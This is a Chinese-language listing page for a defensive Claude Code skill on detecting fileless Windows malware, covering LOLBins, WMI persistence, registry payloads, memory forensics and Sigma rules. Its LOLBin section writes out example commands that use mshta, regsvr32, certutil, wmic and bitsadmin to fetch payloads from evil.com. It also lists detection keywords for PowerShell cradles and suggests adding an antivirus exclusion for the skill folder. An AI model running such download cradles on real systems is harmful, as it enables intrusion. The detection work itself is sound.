mcpField
D
detecting-fileless-malware-techniques

detecting-fileless-malware-techniques

github.com/mukul975安全35.2k68 次安装8 周前更新
代码仓库

关于 detecting-fileless-malware-techniques

此防御型安全技能用于调查 Windows 系统中的无文件恶意软件,涵盖 LOLBin、WMI 和注册表持久化检测、内存分析及检测规则编写。

主要功能

  1. 01检测 LOLBin 滥用
  2. 02检查 WMI 持久化
  3. 03查找驻留注册表的载荷
  4. 04分析内存痕迹
  5. 05编写 Sigma 检测规则

适用场景

  1. 01调查可疑 PowerShell 活动
  2. 02分析基于 WMI 的持久化
  3. 03排查磁盘上无文件的恶意软件

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill detecting-fileless-malware-techniques

安装后在 Claude Code 中输入/detecting-fileless-malware-techniques确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
yara-fileless-powershell.yar
scripts/
agent.py

详细介绍

检测无文件恶意软件技术

何时使用

  • EDR 告警显示来自受信任系统二进制文件(PowerShell、mshta、wmic、regsvr32)的可疑行为
  • 调查未在磁盘上留下传统恶意软件文件的攻击
  • 分析 WMI 事件订阅、注册表存储的载荷或计划任务滥用以获取持久化
  • 为企业环境中的 LOLBin(Living Off the Land Binary,就地取材二进制文件)滥用构建检测规则
  • 内存取证发现恶意代码,但文件系统上不存在相应文件

不要用于传统的基于文件的恶意软件;对于磁盘驻留恶意软件,标准的静态和动态分析方法更为合适。

Windows Defender / 防病毒误报

某些终端防病毒产品——尤其是 Windows Defender(特征 Trojan:script/Wacatac.H!ml)——可能会将此技能的 SKILL.md 隔离为恶意文件。这是一个已知的误报:该文件有意记录了无文件攻击模式(LOLBins、编码的 PowerShell、内存 YARA 指标)用于防御性检测和调查。内容仅供教育用途;它不会执行代码。

如果被隔离: 从隔离区恢复该文件,为你的本地 Agent 技能目录添加排除项,并查看 GitHub issue #100 参与讨论。YARA 字符串位于 references/yara-fileless-powershell.yar(不在本文件中内联),以减少扫描器触发,同时为分析师保留规则。

前置条件

  • 已安装并配置 Sysmon,并启用全面日志记录(进程创建、WMI 事件、注册表更改)
  • 已启用 PowerShell Script Block Logging 和 Module Logging
  • 用于无文件恶意软件工件内存取证的 Volatility 3
  • 用于实时系统活动监控的 Process Monitor(ProcMon)
  • 具有足够保留策略的 Windows 事件日志访问权限
  • 用于识别持久化机制的 Autoruns

工作流

第 1 步:识别 LOLBin 使用

检测对合法 Windows 二进制文件的恶意滥用:

Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
  Abuse: Execute HTA files with embedded VBScript/JScript
  Example: mshta http://evil.com/payload.hta
  Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  Detect: mshta.exe with URL argument or vbscript: prefix

regsvr32.exe:
  Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
  Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  Detect: regsvr32.exe with /i: URL parameter

certutil.exe:
  Abuse: Download files, decode Base64
  Example: certutil -urlcache -split -f http://evil.com/payload.exe
  Example: certutil -decode encoded.txt payload.exe
  Detect: certutil.exe with -urlcache or -decode arguments

rundll32.exe:
  Abuse: Execute DLL functions, JavaScript
  Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  Detect: rundll32.exe with javascript: argument

wmic.exe:
  Abuse: Execute code via XSL stylesheets
  Example: wmic process get brief /format:"http://evil.com/payload.xsl"
  Detect: wmic.exe with /format: URL parameter

bitsadmin.exe:
  Abuse: Download files via BITS
  Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  Detect: bitsadmin.exe with /transfer or /addfile to external URL

cmstp.exe:
  Abuse: Execute commands via INF file
  Example: cmstp.exe /ni /s payload.inf
  Detect: cmstp.exe execution from non-standard locations
第 2 步:检测基于 WMI 的持久化

分析用于无文件持久化的 WMI 事件订阅:

# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list

# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
# Parse Sysmon WMI events (Event IDs 19, 20, 21)
import subprocess
import xml.etree.ElementTree as ET

# WMI Event Filter creation (EID 19)
result = subprocess.run(
    ["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
     "/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
    capture_output=True, text=True
)

ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
    if not event_xml.strip():
        continue
    try:
        root = ET.fromstring(event_xml + "</Event>")
        eid = root.find(".//e:System/e:EventID", ns).text
        data = {}
        for d in root.findall(".//e:EventData/e:Data", ns):
            data[d.get("Name")] = d.text

        if eid == "19":
            print(f"[!] WMI Filter Created: {data.get('Name')}")
            print(f"    Query: {data.get('Query')}")
        elif eid == "20":
            print(f"[!] WMI Consumer Created: {data.get('Name')}")
            print(f"    Type: {data.get('Type')}")
            print(f"    Destination: {data.get('Destination')}")
        elif eid == "21":
            print(f"[!] WMI Binding Created")
            print(f"    Consumer: {data.get('Consumer')}")
            print(f"    Filter: {data.get('Filter')}")
    except:
        pass
第 3 步:检测注册表驻留载荷

查找存储在 Windows 注册表中的恶意代码:

# Common registry locations for fileless payloads
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s

# Check for PowerShell encoded commands in registry values
# Malware stores Base64-encoded payloads in custom registry keys
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul

# Check for large registry values (possible stored payloads)
python3 << 'PYEOF'
import winreg
import base64

suspicious_keys = [
    (winreg.HKEY_CURRENT_USER, r"Software"),
    (winreg.HKEY_LOCAL_MACHINE, r"Software"),
]

def scan_registry(hive, path, depth=0):
    if depth > 3:
        return
    try:
        key = winreg.OpenKey(hive, path)
        i = 0
        while True:
            try:
                name, value, vtype = winreg.EnumValue(key, i)
                if isinstance(value, str) and len(value) > 500:
                    # Check for Base64-encoded content
                    try:
                        decoded = base64.b64decode(value[:100])
                        print(f"[!] Large Base64 value: {path}\\{name} ({len(value)} bytes)")
                    except:
                        pass
                    # Check for PowerShell keywords
                    if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
                        print(f"[!] PowerShell in registry: {path}\\{name}")
                i += 1
            except WindowsError:
                break
        # Recurse into subkeys
        j = 0
        while True:
            try:
                subkey = winreg.EnumKey(key, j)
                scan_registry(hive, f"{path}\\{subkey}", depth + 1)
                j += 1
            except WindowsError:
                break
    except:
        pass

for hive, path in suspicious_keys:
    scan_registry(hive, path)
PYEOF
第 4 步:分析内存中的无文件工件

使用内存取证查找仅存在于内存中的恶意软件:

# Process with injected code (no backing file)
vol3 -f memory.dmp windows.malfind

# Check for .NET assemblies loaded from memory (not from disk files)
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"

# PowerShell CLR usage (indicates .NET reflection loading)
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"

# Scan for known fileless frameworks
# YARA rule lives in references/yara-fileless-powershell.yar (kept separate to reduce AV false positives)
vol3 -f memory.dmp yarascan.YaraScan --yara-file /path/to/yara-fileless-powershell.yar

# Extract PowerShell command history from memory
vol3 -f memory.dmp windows.cmdline
# Search memory strings for common fileless indicators (encoded commands, cradles, reflection)
strings memory.dmp | grep -iE 'encodedcommand|downloadstring|invoke-expression|\.reflection\.'
第 5 步:构建全面的检测规则

为无文件技术创建检测内容:

# Sigma rule: LOLBin execution with network activity
title: Suspicious LOLBin Execution with Network Arguments
logsource:
    category: process_creation
    product: windows
detection:
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http'
            - 'vbscript:'
            - 'javascript:'
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: '/i:http'
    selection_wmic:
        Image|endswith: '\wmic.exe'
        CommandLine|contains: '/format:http'
    condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high
# Sigma rule: WMI persistence creation
title: WMI Event Subscription for Persistence
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID:
            - 19  # WMI EventFilter
            - 20  # WMI EventConsumer
            - 21  # WMI FilterConsumerBinding
    condition: selection
level: medium
第 6 步:记录无文件攻击链

映射完整的无文件攻击生命周期:

Typical Fileless Attack Chain:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Phase 1 - Initial Access:
  Email -> Macro -> mshta.exe/PowerShell (LOLBin abuse)
  OR Web exploit -> regsvr32/certutil (scriptlet download)

Phase 2 - Execution:
  PowerShell downloads and executes script in memory
  .NET Assembly.Load() for reflective loading
  WMI process creation for lateral movement

Phase 3 - Persistence:
  WMI event subscription (survives reboots)
  Registry-stored encoded payload (loaded by Run key)
  Scheduled task executing inline PowerShell

Phase 4 - Privilege Escalation:
  PowerShell with Invoke-Mimikatz (in-memory credential theft)
  Named pipe impersonation via WMI

Phase 5 - Lateral Movement:
  WMI remote process creation (no file transfer needed)
  PowerShell remoting (WinRM)
  PsExec via WMI

Phase 6 - Exfiltration:
  PowerShell HTTP POST to C2
  DNS tunneling via Invoke-DNSExfiltration
  Cloud storage API (OneDrive, Google Drive)

关键概念

术语定义
无文件恶意软件完全在内存中或合法系统工具内运行,不在磁盘上创建传统可执行文件的恶意软件
LOLBins(Living Off the Land Binaries)攻击者滥用的合法系统二进制文件(mshta、regsvr32、certutil),用于执行恶意代码同时规避应用程序白名单
WMI 事件订阅Windows Management Instrumentation 持久化机制,使用事件筛选器、消费程序和绑定在系统事件上执行代码
注册表驻留载荷以编码数据形式存储在 Windows 注册表值中的恶意代码,由 Run 键中的小型存根加载并执行
反射加载使用 Assembly.Load() 从内存中的字节数组加载 .NET 程序集或 PE 文件,而不写入磁盘
内存中执行直接在 RAM 中运行代码而不创建文件,利用进程注入、反射加载或脚本解释器
Script Block LoggingWindows PowerShell 日志记录功能(事件 ID 4104),在反混淆后捕获脚本内容,对于无文件威胁可见性至关重要

工具与资源

  • Sysmon:系统监视器,提供进程创建、WMI 事件、注册表和网络连接的详细日志记录
  • Autoruns:Sysinternals 工具,显示所有自启动位置,包括 WMI 订阅、计划任务和注册表项
  • Volatility:内存取证框架,用于检测内存中的代码、注入进程和无文件恶意软件痕迹
  • Process Monitor:实时监控文件系统、注册表和进程活动,用于观察无文件攻击行为
  • LOLBAS Project:社区维护的 LOLBin 滥用技术目录,位于 https://lolbas-project.github.io/

常见场景

场景:使用 WMI 持久化调查无文件攻击

背景:Sysmon 告警显示创建了 WMI 事件订阅,随后定期执行 PowerShell,而磁盘上没有任何对应的恶意软件文件。该攻击在重启后仍然持续存在。

方法:

  1. 查询 WMI 命名空间中的事件筛选器、使用者和绑定,以识别持久化机制
  2. 提取 CommandLineEventConsumer 或 ActiveScriptEventConsumer 载荷
  3. 解码 PowerShell 命令(通常使用 -enc 标志进行 Base64 编码)
  4. 在脚本块日志记录(事件 ID 4104)中追踪 PowerShell 执行,获取完整的去混淆载荷
  5. 分析内存转储,查找反射加载的程序集和注入的代码
  6. 检查注册表中 PowerShell 脚本引用的其他存储载荷
  7. 映射从初始访问到持久化和横向移动的完整攻击链

陷阱:

  • 事件发生前未启用 Sysmon WMI 事件日志记录(事件 19/20/21)
  • 在捕获内存转储之前重启系统(会破坏内存中的证据)
  • 当攻击完全无文件时,仅关注基于文件的 IOC
  • 由于 LOLBin 执行留下的痕迹极少,而遗漏初始访问途径

输出格式

FILELESS MALWARE ANALYSIS REPORT
===================================
Incident:         INC-2025-2847
Attack Type:      Fileless (no malware files on disk)

INITIAL ACCESS
Vector:           Phishing email with macro-enabled document
LOLBin Chain:     WINWORD.EXE -> mshta.exe -> powershell.exe

PERSISTENCE MECHANISM
Type:             WMI Event Subscription
Filter Name:      WindowsUpdateCheck
Filter Query:     SELECT * FROM __InstanceModificationEvent WITHIN 300
                  WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Consumer:         CommandLineEventConsumer
Command:          powershell.exe -nop -w hidden -enc <BASE64_UTF16LE_PAYLOAD>

DECODED PAYLOAD
[Layer 1] Base64 UTF-16LE decode
[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload
[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42

REGISTRY PAYLOADS
HKCU\Software\AppDataLow\Config\data = [Base64 encoded .NET assembly, 247KB]
Loaded by: PowerShell WMI consumer script

MEMORY ARTIFACTS
PID 4012 (powershell.exe): Injected .NET assembly at 0x00400000
  - CobaltStrike beacon detected via YARA
  - C2: hxxps://185.220.101[.]42/updates

EXTRACTED IOCs
C2 IP:            185.220.101[.]42
WMI Filter:       WindowsUpdateCheck
Registry Path:    HKCU\Software\AppDataLow\Config\data
PowerShell Flags: -nop -w hidden -enc

MITRE ATT&CK
T1059.001  PowerShell
T1546.003  WMI Event Subscription
T1218.005  Mshta
T1112      Modify Registry
T1055.012  Process Hollowing

评论

支持 Markdown